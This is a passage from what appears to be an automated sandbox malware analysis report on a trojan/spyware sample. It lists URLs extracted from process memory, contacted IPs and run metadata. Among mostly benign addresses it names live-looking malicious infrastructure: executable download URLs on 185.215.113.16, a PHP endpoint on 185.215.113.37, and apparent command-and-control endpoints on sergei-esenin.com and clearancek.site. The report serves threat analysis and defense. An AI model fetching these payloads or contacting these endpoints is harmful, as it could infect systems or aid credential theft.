https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ok.ru/	firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.override	firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://MD8.mozilla.org/1/m	firefox.exe, 0000001D.00000002.2303891585.000001C96F739000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1418033893.0000000001170000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000001D.00000003.2074345700.000001C968996000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.1573333349.0000000001204000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2041476436.000001C96F758000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2249675969.000001C96953A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare	file.exe, 00000000.00000003.1459148229.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1477555129.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1446807409.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431421560.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1474200360.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/apiD3l	file.exe, 00000000.00000003.1474136490.000000000598F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001D.00000002.2277444887.000001C96F0B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemshttp://mozilla.org/#	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.steam	8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/apipV	file.exe, 00000000.00000003.1487775149.000000000120A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnithttp://mozilla.org/#/proper	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://broadcast.st.dl.eccdnx.com	8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/apiKAa	8138ba21a1.exe, 00000012.00000003.2043446372.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2047304849.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2066736978.00000000059AA000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2042228537.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2150615780.000001C966D77000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/J	8138ba21a1.exe, 00000012.00000003.1984181714.0000000001119000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpWindows	bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	8138ba21a1.exe, 00000012.00000003.2049402279.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/isRollouthttp://mozilla.org/#/properties/bucketConfigUnique	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1989649601.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996647465.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2143043108.000001C964738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996003355.000001C96471D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2144220840.000001C964800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2041476436.000001C96F758000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F258000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967933000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985862608.000001C966F7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001D.00000002.2277444887.000001C96F0B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001D.00000002.2130386877.000001C963443000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1460412273.000000000598E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962AAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/steam/random.exe2	8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.wykop.pl/	firefox.exe, 0000001D.00000002.2175868045.000001C9683C3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e	8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://vk.com/	firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com	8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&	8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 0000001D.00000002.2175868045.000001C9683C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2150615780.000001C966D77000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2170759523.000001C967C10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clearancek.site:443/apii	8138ba21a1.exe, 00000012.00000003.1984181714.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2170759523.000001C967C10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/appId	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.steampowered.com/	8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.184.238	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540733
Start date and time:	2024-10-24 04:00:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/21@82/12
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9, 52.13.186.250, 44.231.229.39, 34.208.54.237, 216.58.206.78, 2.22.61.59, 2.22.61.56, 142.250.185.110, 142.250.186.106, 216.58.206.74
